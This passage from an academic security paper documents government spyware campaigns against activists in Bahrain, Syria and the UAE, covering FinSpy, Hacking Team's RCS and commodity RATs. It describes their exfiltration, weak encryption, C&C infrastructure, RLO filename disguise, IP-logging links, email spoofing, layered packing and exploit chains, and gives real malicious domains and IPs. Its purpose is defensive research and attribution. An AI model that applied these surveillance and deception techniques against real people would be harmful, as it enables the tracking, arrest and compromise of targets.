This executable contained a similar string, except it identi- fied itself as FinSpy v3.00, and attempted to connect to tiger.gamma-international.de, a domain registered to Gamma International GmbH.
Analysis of capabilities: We found that the spyware has a modular design, and can download additional modules from a command  control (CC) server, including password cap- ture (from over 20 applications) and recording of screenshots, Skype chat, file transfers, and input from the computers micro- phone and webcam.
To exfiltrate data back to the CC server, a module encrypts and writes it to disk in a special folder.
The spyware period- ically probes this folder for files that match a certain naming convention, then sends them to the CC server.
It then over- writes the files, renames them several times, and deletes them, in an apparent effort to frustrate forensic analysis.
Analysis of encryption: Because the malware employed myriad known anti-debugging and anti-analysis techniques, it thwarted our attempts to attach debuggers.
Since it did not in- clude anti-VM code, we ran it in TEMU, an x86 emulator de- signed for malware analysis [29].
TEMU captures instruction- level execution traces and provides support for taint-tracking.
We found that FinSpy encrypts data using a custom imple- mentation of AES-256-CBC.
The 32 byte AES key and 16 byte IV are generated by repeatedly reading the low-order-4-bytes of the Windows clock.
The key and IV are encrypted using an em- bedded RSA-2048 public key, and stored in the same file as the data.
The private key presumably resides on the CC server.
The weak AES keys make decryption of the data straightfor- ward.
We wrote a program that generally can find these keys in under an hour, exploiting the fact that many of the system clock readings occur within the same clock-update quantum.
In addition, FinSpys AES code fails to encrypt the last block of data if less than the AES block size of 128 bits, leaving trail- ing plaintext.
Finally, FinSpys wire protocol for CC commu- nication uses the same type of encryption, and thus is subject to the same brute force attack on AES keys.
While we suspect FinSpys cryptographic deficiencies reflect bugs, it is also con- ceivable that the cryptography was deliberately weakened to facilitate one government monitoring the surveillance of oth- ers.
CC server: The samples communicated with 77.69.140.194, which belongs to a subscriber of Batelco, Bahrains main ISP.
Analyzing network traffic between our infected VM and the CC server revealed that the server used a global IPID, which allowed us to infer server activity by its progression.
In response to our preliminary work an executive at Gamma told the press that Bahrains FinSpy server was merely a proxy and the real server could have been anywhere, as part of a claim that the Bahrain FinSpy deployment could have been associ- ated with another government [4].
However, a proxy would show gaps in a global IPID as it forwarded traffic our frequent observation of strictly consecutive IPIDs thus contradicts this statement.
Exploitation of captured data: Since we suspected the spy- ware operator would likely seek to exploit captured credentials, particularly those associated with Bahraini activist organiza- tions, we worked with Bahrain Watch, an activist organization inside Bahrain.
Bahrain Watch established a fake login page on their website and provided us with a username and pass- word.
From a clean VM, we logged in using these credentials, saving the password in Mozilla Firefox.
We then infected the VM with FinSpy and allowed it to connect to the Bahrain CC server.
Bahrain Watchs website logs revealed a subsequent hit from 89.148.0.41made however to the sites home- page, rather than its login pagecoming shortly after we had infected the VM.
Decrypting packet captures of the spywares activity, we found that our VM sent the password to the server exactly one minute earlier: INDEX,URL,USERNAME,PASSWORD,USERNAME FIELD, PASSWORD FIELD,FILE,HTTP 1, http://bahrainwatch.org,bhwatch1,watchba7rain, username,password,signons.sqlite,, Very Strong,3.5/4.x The URL provided to the server did not include the path to the login page, which was inaccessible from the home- page.
This omission reflects the fact that the Firefox password database stores only domain names, not full login page URLs, for each password.
Repeating the experiment again yielded a hit from the same IP address within a minute.
We inspected Bahrain Watchs logs, which showed no subsequent (or previ- ous) activity from that address, nor any instances of the same User Agent string.
IP spy Campaign.
In an IP spy attack, the attacker aims to discover the IP address of a victim who is typically the opera- tor of a pseudonymous social media or e-mail account.
The at- tacker sends the pseudonymous account a link to a webpage or an e-mail containing an embedded remote image, using one of many freely-available services.2 When the victim clicks on the link or opens the e-mail, their IP address is revealed to the at- tacker.3 The attacker then discovers the victims identity from their ISP.
In one case we identified legal documents that pro- vided a circumstantial link between such a spy link and a sub- sequent arrest.
Figure 2 illustrates the larger ecosystem of these attacks.
The attackers appear to represent a single entity, as the activity all connects back to accounts that sent links shortened using a par- ticular user account al9mood4 on the bit.ly URL shortening service.
Recall Ali Faisal Al-Shufa (discussed in Section 1), who was accused of sending insulting tweets from an account 2e.g.,
iplogger.org, ip-spy.com, ReadNotify.com.
3Several webmail providers and e-mail clients take limited steps to automatically block loading this content, but e-mails spoofed to come from a trusted sender sometimes bypass these defenses.
4A Romanization of the Arabic word for steadfastness.
4 USENIX Association  23rd USENIX Security Symposium 515 iplogger.org Bahrain Govt Al Kawarah News (Village media) ReadNotify.com Twitter ID 485500245 Red Sky (Translator) Twitter ID 987487705 Twitter ID 485527587 fatoomah85gmail.com Sayed YousifMaryam Yokogawa Union (Trade union) Arrested Clicked link Ali Al-Shufa Arrested Bit.ly user Al9mood ip-spy.com Sami Abdulaziz Fired from job Yokogawa Middle East Jehad Abdulla (Govt critic) Salman Darwish Arrested M (Village media) Clicked link feb14truth.webs.com House raid Account begins sending IP spy links Legend Consequence AttackerActor PackerSpyware CC Domain name TargetedInfectionTarget Exploit E-Mail Bait Document Figure 2: The ecosystem of Bahrain IP spy attacks.
alkawarahnews (Al Kawarah News in Figure 2).
An op- erator of the account forwarded us a suspicious private message sent to the Al Kawarah News Facebook account from Red Sky.
Red Sky was purportedly arrested on 10/17/12, was convicted of insulting the King on his Twitter account RedSky446, and was sentenced to four months prison.5 When released, he found that the passwords for his Twitter, Facebook, and e-mail accounts had been changed, and did not know how to recover his accounts.
The message that Red Skys account sent to Al Kawarah News included a link shortened using Googles goo.gl ser- vice.
We used the goo.gl API to access analytics for the link, finding that it unshortened to iplogger.org/25SX and was created on 12/8/12.
The link had received only one click, which came from Bahrain with the referrer www.facebook.com.
Alis case files contained a request from the Public Prose- cution for information on an IP address that it had linked to Al Kawarah News about 22 hours after the link was created.
Court documents indicate that ISP data linked the IP address to Ali, and on this basis he was sentenced to one year in prison.
Red Sky also targeted M in Figure 2.
M recalled click- ing on a link from Red Sky while using an Internet connec- tion from one of the houses in Ms village.
The house was raided by police on 3/12/13, who were looking for the sub- scriber of the houses internet connection.
Police questioning 5According to information we received from two Twitter users, one of whom claimed to have met Red Sky in prison another to be a col- league.
revolved around Tweets that referred to Bahrains King as a cursed one.
Red Sky had earlier targeted other users with IP spy links shortened using the al9mood bit.ly account.
The attack on Jehad Abdulla is noteworthy, as the ac- counts activity aligned with communities typically critical of Bahrains opposition.
However, the account also directly crit- icized the King on occasion, in one case referring to him as weak and stingy.
An account linked to al9mood sent Je- had Abdulla an IP spy link on 10/2/12 in a public message.
On 10/16/12, Salman Darwish was arrested for insulting the King using the Jehad Abdulla account.
He was sentenced to one month in prison, partly on the basis of his confession.
Salmans father claims that police denied Salman food, drink, and medi- cal care.
Another account linked to al9mood targeted YLUBH, the Twitter account of Yokogawa Union, a trade union at the Bahraini branch of a Japanese company.
YLUBH received at least three IP spy links in late 2012, sent via public Twitter mes- sages.
Yokogawa fired the leader of the trade union, Sami Ab- dulaziz Hassan, on 3/23/13 [30].
It later emerged that Sami was indeed the operator of the YLUBH account, and that the police had called him in for questioning in relation to its tweets [31].
Use of embedded remote images: We identified several targets who received spoofed e-mails containing embedded remote images.
Figure 2 shows two such cases, Maryam and Sayed Yousif.
The attacker sent the e-mails using ReadNotify.com, which records the users IP address upon 5 516 23rd USENIX Security Symposium USENIX Association their mail client downloading the remote image.6 While ReadNotify.com forbids spoofing in their TOS, the service has a vulnerability known to the attackers (and which we confirmed) that allows spoofing the From address by directly setting the parameters on a submission form on their website We have not found evidence suggesting this vulnerabil- ity is publicly known, but it appears clear that the attacker ex- ploited it, as the web form adds a X-Mai1er: RNwebmail header not added when sending through ReadNotify.coms other supported methods.
The header appeared in each e-mail the targets forwarded to us.
When spoofing using this method, the original sender ad- dress still appears in X-Sender and other headers.
Accord- ing to these, the e-mails received by the targets all came from fatoomah85gmail.com.
A link sent in one of these e- mails was connected to the al9mood bit.ly account.
In monitoring accounts connected to al9mood, we counted more than 200 IP spy links in Twitter messages and public Facebook posts.
Attackers often used (1) accounts of promi- nent or trusted but jailed individuals like Red Sky, (2) fake personas (e.g., attractive women or fake job seekers when tar- geting a labor union), or (3) impersonations of legitimate ac- counts.
In one particularly clever tactic, attackers exploited Twitters default font, for example substituting a lowercase l with an uppercase I or switching vowels (e.g.
from a to an e) to create at-a-glance identical usernames.
In addition, malicious accounts tended to quickly delete IP spy tweets sent via (public) mentions, and frequently change profile names.
4.2 Syria The use of RATs against the opposition has been a well- documented feature of the Syrian Civil War since the first re- ports were published in early 2012 [36, 39, 40, 32, 34].
The phenomenon is widespread, and in our experience, most mem- bers of the opposition know that some hacking is taking place.
As summarized in Table 3, the attacks often include fake or ma- liciously packaged security tools intriguing, or ideological, or movement-relevant content (e.g.
lists of wanted persons).
The seeding techniques and bait files suggest a good understanding of the oppositions needs, fears and behavior, coupled with ba- sic familiarity with off-the-shelf RATs.
In some cases attacks occur in a context that points to a more direct connection to one of the belligerents: the Syrian opposition has regularly ob- served that detainees accounts begin seeding malware shortly after their arrest by government forces [41].
Researchers and security professionals have already profiled many of these RATs, including DarkComet [42, 43], Black- shades Remote Controller [38], Xtreme RAT [44], njRAT [26], and ShadowTech [36].
Some are available for purchase by any- one, in contrast to government only FinSpy and RCS.
For ex- ample, Xtreme RAT retails for e350, while a version of Black- shades lists for e40.
Others, like DarkComet, are free.
We have also observed cracked versions of these RATs on Arabic- language hacker forums, making them available with little ef- fort and no payment trail.
While the RATs are cheaper and less 6YahooMail and the iPhone mail client automatically load these re- mote images, especially in e-mails spoofed from trusted senders.
sophisticated than FinSpy and RCS, they share the same ba- sic functionality, including screen capture, keylogging, remote monitoring of webcams and microphones, remote shell, and file exfiltration.
In the most common attack sequence we observed, illus- trated with three examples in Figure 3, the attacker seeds mal- ware via private chat messages, posts in opposition-controlled social media groups, or e-mail.
These techniques often limit the world-visibility of malicious files and links, slowing their detection by common AV products.
Typically, targets receive either (1) a PE in a .zip or .rar, (2) a file download link, or (3) a link that will trigger a drive-by download.
The messages usually include text, often in Arabic, that attempts to persuade the target to execute the file or click the link.
The first attacks in Figure 3 date to 2012, and use bait files with a DarkComet RAT payload.
These attacks share the same CC, 216.6.0.28, a Syrian IP address belonging to the Syr- ian Telecommunications Establishment, and publicly reported as a CC of Syrian malware since February 2012 [45].
The first bait file presents to the victim as a PDF containing infor- mation about a planned uprising in Aleppo.
In fact the file is a Windows Screensaver (.scr) that masquerades as a PDF using Unicode RLO, rendering a name such as .fdp.scr dis- play to the victim as .rcs.pdf.
The second bait file is a dummy program containing DarkComet while masquerading as a Skype call encryption program, playing to opposition para- noia about government backdoors in common software.
The third attack in Figure 3, observed in October 2013, entices tar- gets with e-mails purporting to contain or link to videos about the current conflict, infecting victims with Xtreme RAT, and using the CC tn1.linkpc.net.
For seeding, the attackers typically use compromised ac- counts (including those of arrested individuals) or fake iden- tities masquerading as pro-opposition.
Our illustration shows in abstract terms the use of Victim As account to seed mal- ware (Aleppo Plan) via (say) Skype messages to Victim(s) Bn.
In the cases of Opp.
Member C and NGO Worker D (here, actual victims, not abstract), targeting was by e-mail from domains apparently belonging to opposition groups, in- dicating a potential compromise.
One domain remains active, hosting a website of the Salafist Al-Nusra front [46], while the other appears dormant.
Opp.
Member C received a malicious file as an e-mail attachment, while NGO Worker D was sent a shortened link (url[.
]no/Uu5) to a download from a directory of Mrconstrucciones[.
]net,7 a site that may have been com- promised.
Both attacks resulted in an Xtreme RAT infection.
Interestingly, in the case of the fake Skype encryption the deception extended to a YouTube video from IT Se- curity Lab [47] demonstrating the programs purported ca- pabilities, as well as a website promoting the tool, skype- encryption.sytes.net.
The attackers also constructed a ba- sic, faux GUI for their Encryption program (see Figure 4).
The fake GUI has a number of non-functional buttons like En- crypt and DeCrypt, which generate fake prompts.
While dis- tracted by this meaningless interaction, the victims machine is infected with DarkComet 3.3 [32, 33].
Anecdotally, campaign volume appears to track significant 7Obfuscated to avoid accidental clicks on active malware URLs.
6 USENIX Association  23rd USENIX Security Symposium 517 Type Features Examples (RATs) Security tools Executable files presented as a tool often accompanied by justifica- tions or statements of its value in the targeted seeding, for example on a social media site, at the download location, or in videos Skype Encryption (DC) [32, 33], Facebook Security (cus- tom) [34], Anti-hacker (DC) [35], Fake Freegate VPN (ST) [36] Ideologically or movement-relevant files A document or PE as download or attachment with accompanying en- couragement to open or act on the material, often masquerading as legitimate PDF documents or inadvertently leaked regime programs.
Frequent use of RLO to disguise true extension (such as .exe or .scr) Names of individuals wanted by the Regime, (DC) Aleppo [uprising] Plan (DC) [37], important video (BS) [38], Hama Rebels Council document (DC) [39], wanted persons database frontend (custom), movement relevant video (njRAT), file about the Free Syrian Army (Xtreme RAT) Miscellaneous tools Tools pretending to offer functionality relevant to the opposition, such as a fake tool claiming to mass report regime pages on Facebook hack facebook pro v6.9 (DC) [40] Table 3: Campaigns and RATs employed in Syrian surveillance.
BS  Blackshades, DC  DarkComet, ST  Shad- owTech.
Victim(s) Bn Account seeds Aleppo Plan Clicks file Arrested Account seeds Aleppo Plan Credentials gained Dark Comet SY Govt 216.6.0.28 SY Malware Actors Opp.
Member C fsafreesyria.com E-Mail Xtreme Rat NGO Worker D mohamedjalnosra.com E-Mail tn1.linkpc.net Mrconstrucciones.net Url.no Aleppo Plan fsa.zip Victim A skype-encription .sytes.net Skype Encryption Figure 3: A sample from the ecosystem of Syrian malware campaigns.
events in the ongoing conflict.
For example, campaigns dwin- dled and then rebounded within hours after Syrias 2012 Inter- net shutdown [48].
Similarly, activity observed by the authors also dwindled prior to expectation of US-led military action against Syrian government targets in September 2013.
Once this option appeared to be off the table, the volume of new samples and campaigns we observed again increased, includ- ing the recent targeting of NGO workers per Figure 3.
We are aware of only a negligible number of cases of the opposition using similar RATs against Syrian Government supporters, al- though evidence exists of other kinds of electronic attacks by third parties.
Real world consequences.
The logistics and activities of Syrias numerous opposition groups are intentionally concealed from public view to protect both their efficacy, and the lives of people participating in them.
Nevertheless, Syrian opposition members are generally familiar with stories off digital compro- mises of high-profile figures, including those entrusted with the most sensitive roles, as well as rank-and-file members.
Com- promise of operational security poses a documented threat to life both for victims of electronic compromise, and to family members and associates.
The Syrian conflict is ongoing, making it difficult to assem- Figure 4: The fake Skype program distracts the victim with the promise of encrypted communications while in- fecting their machine with DarkComet.
7 518 23rd USENIX Security Symposium USENIX Association ble comprehensive evidence of linkages between government actors and malware campaigns.
Moreover, many individuals whose identities have been compromised are in prison or oth- erwise disappeared, and thus unable to relate the evidence pre- sented to them during interrogation.
Still, strong circumstantial evidence links the use of RATs, phishing, and government ac- tivity, which we briefly summarize here: (1) many Syrians have recounted to journalists and the authors how interrogators con- fronted them with material from their computers.
For example: The policeman told me, Do you remember when you were talking to your friend and you told him you had something wrong [sic] and paid a lot of money?
At that time we were taking information from your laptop.
[
41] (2) Syrian activists have supplied cases to international journal- ists [41], where arrests are quickly followed by the social me- dia accounts of detained individuals seeding malware to contact lists (Figure 3).
(
3) Finally, despite the notoriety of the attack campaigns, including mention of CC IPs in international me- dia [45], the Syrian government has made no public statements about these campaigns nor acted to shut down the servers.
Beyond the ongoing challenges of attribution, these malware campaigns have a tangible impact on the Syrian opposition, and generally align with the interests of the Syrian governments propaganda operations.
The case of Abdul Razzaq Tlass, a leader in the Free Syrian Army, is illustrative of the potential uses of such campaigns.
In 2012 a string of videos emerged showing Tlass sexting and engaged in lewd activity in front of a webcam [49].
While he denied the videos, the harm to his rep- utation was substantial and he was eventually replaced [50].
4.3 UAE While the UAE has experienced no recent uprising or politi- cal unrest, it has nevertheless cracked down on its opposition, concurrent with the Arab Spring.
The first attacks we observed in the UAE involved a government-grade lawful interception trojan known as Re- mote Control System (RCS), sold by the Italian company Hack- ing Team.
The associated CC server indicated direct UAE government involvement.
Over time, we stopped receiving RCS samples from UAE targets, and instead observed a shift to the use of off-the-shelf RATs, and possible involvement of cyber-mercenary groups.
However, poor attacker operational security allowed us to link most observed attacks together.
RCS.
UAE activist Ahmed Mansoor (per Figure 5), impris- oned from April to November 2011 after signing an online pro- democracy petition [51], received an e-mail purportedly from Arabic Wikileaks in July 2012.
He opened the associated at- tachment, veryimportant.doc, and saw what he described as scrambled letters.
He forwarded us the e-mail for investiga- tion.
The attachment exploited CVE-2010-3333, an RTF pars- ing vulnerability in Microsoft Office.
The document did not contain any bait content, and part of the malformed RTF that triggered the exploit was displayed in the document.
The exploit loaded shellcode that downloaded a second stage 3-Stage Exploit Kit owner.no-ip.biz Xtreme RAT RCS Laptop infected Communicated via E-Mail Ahmed Author wikileaks veryimportant UAE Govt HackingTeam E-Mail account compromised ar-24.com CVE-2010-3333 Figure 5: Part of the ecosystem of UAE surveillance at- tacks.
from ar-24.com, which in turn downloaded spyware from ar-24.com.
We denote this combination as the 3-Stage Ex- ploit Kit in Figure 5.
The CC server also ran on ar-24.com.
When we ob- tained the sample in July 2012, ar-24.com resolved to an IP address on Linode, a hosting provider.
Three months later, it resolved to a UAE address belonging to the Royal Group [52], an organization linked to the UAE government it is chaired by Sheikh Tahnoon bin Zayed Al-Nayhan, a member of the UAE ruling family and a son of the founder of the UAE.
Identification as RCS: We identified strings in memory that matched those in a Symantec analysis [53] of RCS (also known as DaVinci or Crisis), a product of the Italian com- pany Hacking Team [54].
We also located a structurally sim- ilar Word document via VirusTotal.
The document used the same exploit and attempted to download a second stage from rcs-demo.hackingteam.it, which was unavailable at the time of testing.
Analysis of capabilities: RCS has a suite of functionality largely similar to FinSpy.
One difference was in the vectors used to install the spyware.
We located additional samples (see 5), some of which were embedded in a .jar file that installs an OS-appropriate version of RCS (Windows or OSX), option- ally using an exploit.
If embedded as an applet, and no exploit is present, Java displays a security warning and asks the user whether they authorize the installation.
We also saw instances of the 3-Stage Exploit Kit where the first stage contained a Flash exploit in some cases, we could obtain all stages and confirm that these installed RCS.
Some samples were packed with the MPress packer [55], and some Windows samples were obfuscated to look like the PuTTY SSH client.
Another difference is in persistence.
For example, the RCS sample sent to Ahmed adds a Run registry key, whereas the FinSpy samples used in Bahrain overwrite the hard disks boot sector to modify the boot process the spyware is loaded be- 8 USENIX Association  23rd USENIX Security Symposium 519 fore the OS, and injects itself into OS processes as they start.
The RCS samples we examined also had the ability to propa- gate to other devices, including into inactive VMWare virtual machines by modifying the disk image, onto USB flash drives, and onto Windows Mobile phones.
We did not observe similar capabilities in the FinSpy samples we examined.
Exploitation of captured data: When Ahmed Mansoor re- ceived the RCS document, he opened it, infecting his computer (Figure 5).
Ahmed subsequently noted several suspicious ac- cesses to his GMail account using IMAP.
Even after he changed his password, the accesses continued.
While corresponding with Ahmed on his compromised account, an author of this pa- per discovered that the attackers had installed an application- specific password [56] in Ahmeds GMail account, a secondary password that they apparently used to access his account even after he changed his main password.
The suspicious accesses stopped after removal of the application-specific password.
Two weeks after this correspondence with Ahmed, one of us (Author in Figure 5) received a targeted e-mail with a link to a file hosted on Google Docs containing a commercial off-the- shelf RAT, Xtreme RAT.
The e-mail was sent from the UAEs timezone (as well as of other countries) and contained the terms veryimportant and wikileaks, just like in the e-mail re- ceived by Ahmed.
The instance of Xtreme RAT sent to Author used owner.no-ip.biz for its CC, one of the domains men- tioned in a report published by Norman about a year-long cam- paign of cyberattacks on Israeli and Palestinian targets carried out by a group that Norman was unable to identify [57].
Three months after Author was targeted, Ahmed received an e-mail containing an attachment with Xtreme RAT that talked to the same CC server (Figure 5), suggesting that the attackers who infected Ahmed with RCS may have provided a list of interest- ing e-mail addresses to another group for further targeting.
Possible consequences: Shortly after he was targeted, Ahmed says he was physically assaulted twice by an attacker who appeared able to track Ahmeds location [58].
He also re- ports that his car was stolen, a large sum of money disappeared from his bank account, and his passport was confiscated [59].
He believes these consequences are part of a government in- timidation campaign against him, but we did not uncover any direct links to his infection.
(
Interestingly, spyware subse- quently sent to others has used bait content about Ahmed.)
Further attacks: In October 2012, UAE Journalist A and Human Rights activist B (per Figure 6) forwarded us suspi- cious e-mails they had received that contained a Word docu- ment corresponding to the first stage of 3-Stage Exploit Kit (Figure 5).
The attachment contained an embedded Flash file that exploited a vulnerability fixed in Adobe Flash 11.4, loading shell code to download a second stage from faddeha.com.
We were unable to obtain the second stage or the ultimate pay- load, as the website was unavailable at the time of testing.
However, the exploit kit appears indicative of Hacking Team involvement.
A page on faddeha.com found in Googles cache contained an embedded .jar with the same applet class (WebEnhancer) as those observed in other .jar files that we found to contain RCS.
Same IPHosts sample that talks to CC Used by sample that talks to CC dreems.no-ip.ca upload.bz hamas.sytes.netfaddeha.com sn.all-google.com SpyNet CVE-2013-0422 njRAT storge.myftp.org VB Packer DarkComet CVE 2012-0158 H.R.
activist E Journalist C Journalist F Journalist A, H.R.
activist B Relative of political detainee D Appin SameIP1 SameIP1 njq8 Figure 6: Another part of the ecosystem of UAE surveil- lance attacks.
Off-the-shelf RATs.
We found a file that VirusTotal had downloaded from faddeha.com, which appeared to be a re- mote access toolkit known as SpyNet, available for general pur- chase for 50 Euros [60].
The SpyNet sample communicated with the CC hamas.sytes.net.
SpyNet Packing: We found another instance of the first stage of the 3-Stage Exploit Kit on VirusTotal.
The exploit downloaded a second stage, which in turn downloaded a sam- ple of SpyNet from maile-s.com.
This sample of SpyNet communicated with the same CC hamas.sytes.net.
The sample was packed using ASProtect [61].
When run, the sample unpacks a compiled Visual Basic project that loads, via the RunPE method [62], an executable packed with UPX [63].
Finally, this executable unpacks SpyNet.
SpyNets GUI only offers an option to pack with UPX, suggesting that the attack- ers specially added the other layers of packing.
In some cases, the Visual Basic project bears the name NoWayTech, which appears to be an underground RunPE tool, while others are named SpyVisual, which we have been unable to trace to any public underground tools, and thus also may reflect customiza- tion by the attacker.
The SpyVisual projects contain the string c:\Users\Zain\AppData\Local\Temp\OLE1EmbedStrm.wav, which we used as the fingerprint VB Packer in Figure 6.
Cedar Key attack: The same VB Packer was used in an attack on Relative of political detainee D and H.R.
activist E in Figure 6.
These individuals received e-mails containing a link to a web page hosted on cedarkeyrv.com impersonat- ing YouTube.
Loading the page greeted the target with Video loading please wait . . .
The page redirected to a YouTube video a few seconds later, but first loaded a Java exploit [64]a 9 520 23rd USENIX Security Symposium USENIX Association known vulnerability with no patch at the time that the e-mails were sent.
Oracle released a patch 12 hours after activists began receiving these links.
The cedarkeyrv.com domain is associated with an RV park in Cedar Key, Florida.
The websites hosting company told us that the site had apparently suffered a compromise, but did not have further details.
The exploit used in the attack appears to have been origi- nally posted by a Kuwaiti user, njq8, on an Arabic-language exploit sharing site [65].
We contacted njq8, who told us that he had obtained the exploit elsewhere and modified it prior to posting.
The attack downloaded an instance of SpyNet from isteeler.com (which from our inspection did not appear to have any legitimate content), which used the CC storge.myftp.org.
This same CC occurred in an- other attack (Figure 6) targeting Relative of political detainee D in that case, the payload was a freely-available RAT known as njRAT, written by the same njq8 as the exploit-poster dis- cussed above.
However, we did not find any other evidence suggesting njq8s involvement in either attack.
More SpyNet attacks: The domain hamas.sytes.net, which we previously saw used by two SpyNet sam- ples, resolved to 67.205.79.177.
Historically, dreems.no-ip.ca also resolved to this address.
An unidentified dropper using this CC targeted Journalist F a SpyNet attack on Relative of political detainee D also used this CC.
In that latter case, the sample arrived via e-mail in a .rar attachment that contained an .scr file disguised as a Word document.
The .scr file was a self-extracting archive that decompressed and ran both the bait document and the payload.
The SMTP source of the e-mail was webmail.upload.bz.
Appin: In early 2013 UAE H.R.
activist E forwarded nu- merous documents that included a particular CVE-2012-0158 exploit for Microsoft Word.
In all, these totaled 17 distinct hashes of documents, and 10 distinct hashes of payloads (some documents that differed in their hash downloaded the same pay- load).
The exploits primarily downloaded instances of SpyNet from upload.bz, which for the most part communicated with CC at sn.all-google.com.
This domain was also used for CC in other attacks, including that on Journalist C. Two of the other CVE-2012-0158 exploits down- loaded DarkComet from www.getmedia.us and www.technopenta.com after posting system infor- mation to random123.site11.com.
All three domains match those used by an Indian cybermercenary group said to be linked to Appin Security Group [66].
The former two domains hosted content other than spyware (i.e., they may have been compromised).
We alerted the owner of www.getmedia.us, who removed the payloads.
5 Empirical characterization The samples we received afforded us an opportunity to em- pirically characterize the use of FinFisher and Hacking Team around the world, enabling us to assess their prevalence, and identify other country cases that may warrant future investiga- tion.
We analyzed the samples and the behavior of their CC servers to develop indicators (fingerprints) for how the servers respond to certain types of requests.
We then scanned the full Internet IPv4 address space (/0) for these, along with prob- ing results found by past scans.
In many cases we do not release the full details of our fingerprints to avoid compromising what may be legitimate investigations.
5.1 FinSpy Identifying and linking servers: We developed a number of fingerprints for identifying FinSpy servers using HTTP- based probing as well as FinSpys custom TLV-based proto- col.
We leveraged quirks such as specific non-compliance with RFC 2616, responses to certain types of invalid data, and the presence of signatures such as the bizarre Hallo Steffi that Guarnieri identified from Bahraini FinSpy CC servers [67, 68].
See Appendix A for details.
We then exhaus- tively scanned the Internet looking for matches to these finger- prints.
Gamma documentation advertises that an operator of FinSpy can obscure the location of the CC server (called the mas- ter) by setting up a proxy known as a relay.
In Spring 2013 we noticed FinSpy servers now issuing 302 Redirects to google.com.
However, we noticed anomalies: for ex- ample, servers in India were redirecting to the Latvian ver- sion of Google google.lv.
We suspect that the server in India was a relay forwarding to a master in Latvia.
Be- cause the master served as a proxy for Google, we could uncover its IP address using a Google feature that prints a users IP address for the query IP address.
We created an additional fingerprint based on the proxying behavior and is- sued GET /search?qipaddressnord1 requests to servers We note some interesting master locations in Table 4.
Server locations: In all, our fingerprints matched 92 dis- tinct IP addresses in 35 different countries.
Probing these on 8/8/13 revealed 22 distinct addresses still responding, sited in: Bahrain, Bangladesh, Bosnia and Herzegovina, Estonia, Ethiopia, Germany, Hong Kong, Indonesia, Macedonia, Mex- ico, Romania, Serbia, Turkmenistan, and the United States.
We found servers responding to a number of our fingerprints, sug- gesting either that some servers lag in their updates, or a con- certed effort to vary the behavior of FinSpy servers to make detection harder.
We found: (1) 3 IP addresses in ranges registered to Gamma.
(
2) Servers in 3 IP ranges explicitly registered to govern- ment agencies: Turkmenistans Ministry of Communications, Qatars State Security Bureau, and the Bulgarian Council of Ministers.
(
3) 3 additional IP addresses in Bahrain, all in Batelco.
(
4) Servers in 7 countries with governments classified as authoritarian regimes by The Economist [69]: Bahrain, Ethiopia, Nigeria, Qatar, Turkmenistan, UAE, Vietnam.
Additional FinSpy samples: In parallel to our scanning, we obtained 9 samples of FinSpy by writing YARA [70] rules for the malware hunting feature of VirusTotal Intelligence.
This feature sends us all newly-submitted samples that match our signatures.
We located a version of FinSpy that does not use the normal FinSpy handshake, but instead uses a protocol based on HTTP POST requests for communication with the CC server.
This did not appear to be an older or newer ver- 10 USENIX Association  23rd USENIX Security Symposium 521 Relay IP Relay Block Assignment Relay Country Master IP Master Block Assignment Master Country 5.199.xxx.xxx SynWebHost Lithuania 188.219.xxx.xx Vodafone Italy 46.23.xxx.xxx UK2 VPS.net UK 78.100.xxx.xxx State Security Building Qatar 119.18.xxx.xxx HostGator India 81.198.xxx.xxx Statoil DSL Latvia 180.235.xxx.xxx Asia Web Services Hong Kong 80.95.xxx.xxx T-Systems Czech Republic 182.54.xxx.xxx GPLHost Australia 180.250.xxx.xxx PT Telekom Indonesia 206.190.xxx.xxx WestHost USA 112.78.xxx.xxx Biznet ISP Indonesia 206.190.xxx.xxx Softlayer USA 197.156.xxx.xxx Ethio Telecom Ethiopia 209.59.xxx.xxx Endurance International USA 59.167.xxx.xxx Internode Australia 209.59.xxx.xxx Endurance International USA 212.166.xxx.xxx Vodafone Spain Table 4: Deproxifying FinSpy (mapping initial CC IP addresses to the masters to which they forward).
sion of the protocol, suggesting that our scan results may not reveal the full scope of FinSpy CC servers.
Perhaps, the HTTP POST protocol was only delivered to a specific Gamma customer to meet a requirement.
5.2 Remote Control System (RCS) We began by analyzing the UAE RCS sample from Ahmed and 6 samples obtained from VirusTotal by searching for AV re- sults containing the strings DaVinci and RCS.
At the time, several AV vendors had added detection for RCS based on a sample analyzed by Dr.
Web [71] and the UAE RCS sample sent to Ahmed.
We also similarly obtained and analyzed sam- ples of FSBSpy [72], a piece of malware that can report system information, upload screenshots, and drop and execute more malware, Based on these samples, we devised YARA signa- tures that yielded 23 additional samples of structurally similar malware.
Fingerprints: We probed the CC servers of the RCS and FSBSpy samples, and found that they responded in a distinc- tive way to HTTP requests, and returned distinctive SSL cer- tificates.
We searched sources including Shodan, 5 Internet Census service probes [73], and Critical.
IO scanning data [68] for the observed distinctive HTTP behavior.
We searched for the dis- tinctive SSL certificates in two Internet Census service probes, and SSL certificate scans from ZMap [74].
We also contacted a team at TU Munich [75], who applied our fingerprints to their SSL scanning data.
Across all of these sources, we obtained 31,345 indicator hits reflecting 555 IP addresses in 48 coun- tries.
One SSL certificate returned by 175 of the servers was issued by /CNRCS Certification Authority /OHT srl, apparently referring to the name of the spyware and the company.
Servers for 5 of our FSBSpy samples and 2 of our RCS samples re- sponded with this type of certificate.
Some servers returned these certificates in chains that in- cluded another distinctive certificate.
We found 175 distinct IP addresses (including the CCs for 5 of our FSBSpy samples and 2 of our RCS samples) responded with this second type of certificate.
We devised two more indicators: one that matched 125 IP addresses, including 7 of our FSBSpy samples CCs, and one that matched 2 IP addresses, in Italy and Kazakhstan.
Server locations: On 11/4/13 we probed all of the IP ad- dresses that we collected, finding 166 active addresses match- Country IPs United States 61 United Kingdom 18 Italy 16 Japan 10 Morocco 7 Provider IPs Linode 42 NOC4Hosts 16 Telecom Italia 9 Maroc Telecom 7 InfoLink 6 Table 5: Top countries and hosting providers for RCS servers active on 11/4/13.
ing one of our fingerprints in 29 different countries.
We sum- marize the top providers and countries in Table 5.
The prevalence of active servers either located in the USA or hosted by Linode is striking,8 and seems to indicate a pervasive use of out-of-country web hosting and VPS services.
In addition, we found: (1) 3 IP addresses on a /28 named HT public subnet that is registered to the CFO of Hacking Team [76].
The domain hackingteam.it resolves to an address in this range.
(
2) An address belonging to Omantel, a majority-state-owned telecom in Oman.
This address was un- reachable when we probed it a researcher pointed us to an FS- BSpy sample that contained an Arabic-language bait document about Omani poetry, which talked to a CC in the UK.
(
3) 7 IP addresses belonging to Maroc Telecom.
Moroccan journal- ists at Mamfakinch.com were previously targeted by RCS in 2012 [77].
(
